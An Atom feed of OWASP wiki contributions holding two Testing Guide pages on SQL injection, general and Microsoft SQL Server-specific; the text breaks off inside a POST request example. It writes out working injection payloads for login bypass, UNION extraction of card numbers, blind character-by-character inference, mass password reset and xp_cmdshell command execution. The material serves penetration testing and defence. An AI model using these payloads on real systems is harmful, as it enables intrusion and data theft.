<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Inquis</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Inquis"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Inquis"/>
		<updated>2026-05-06T10:11:52Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=68769</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=68769"/>
				<updated>2009-09-13T12:33:28Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;quot;injection&amp;quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system and, in some cases, issue commands to the operating system. &lt;br /&gt;
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Blind_SQL_Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the OWASP Prevention Cheat Sheet Series article on [[SQL Injection Prevention Cheat Sheet | Preventing SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server.&lt;br /&gt;
&lt;br /&gt;
Independent of the attack class, a successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as &amp;quot;[[Blind SQL Injection]]&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
&lt;br /&gt;
The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. &lt;br /&gt;
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
 varchar value 'test' to a column of data type int.&lt;br /&gt;
 /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.&lt;br /&gt;
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are generally obtained from the user through a web form. &lt;br /&gt;
Suppose we insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all, we resolve the problem of the parentheses. &lt;br /&gt;
That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment.&lt;br /&gt;
Every DBMS has its own symbols of comment, however, a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
This said, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which returns a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around this problem, it is enough to insert a SQL command that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the operator &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query SQL Injection Testing ===&lt;br /&gt;
Another test involves the use of the UNION operator. This operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. &lt;br /&gt;
Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind SQL Injection Testing ===&lt;br /&gt;
We have pointed out that there is another category of SQL injection, called [[Blind SQL Injection]], in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. This method consists of carrying out a series of boolean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples, we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found.&lt;br /&gt;
As an example, we will use the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on, we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function.&lt;br /&gt;
The problem is to understand in which way we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. &lt;br /&gt;
This is possible by using the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. &lt;br /&gt;
Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. &lt;br /&gt;
A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedue (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on the MySql DB, is SqlDumper, which is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
Question: How can the risk of SQL injection be eliminated? &amp;lt;br&amp;gt;&lt;br /&gt;
Answer: Stored procedures.&amp;lt;br&amp;gt;&lt;br /&gt;
I have seen this answer too many times without qualifications.  Merely the use of stored procedures does not assist in the mitigation of SQL injection.  If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection.  If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Black box testing uses SQL injection to compromise the system. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
 Declare @sqlstring varchar(250) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select 1 from users &lt;br /&gt;
 Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
 exec(@sqlstring)&lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 anyusername or 1=1'&lt;br /&gt;
 anypassword&lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
NOTE:  This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure get_report @columnamelist varchar(7900) As&lt;br /&gt;
 Declare @sqlstring varchar(8000) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
 exec(@sqlstring) &lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2007-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind SQL Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [http://www.reversing.org/node/view/11 sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|broken links&lt;br /&gt;
&lt;br /&gt;
* Kevin Spett: &amp;quot;SQL Injection&amp;quot; - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;Blind SQL Injection&amp;quot; - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=68768</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=68768"/>
				<updated>2009-09-13T12:32:15Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this section some [[SQL Injection]] techniques that utilize specific features of Microsoft SQL Server will be discussed.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Characteristics===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.&lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
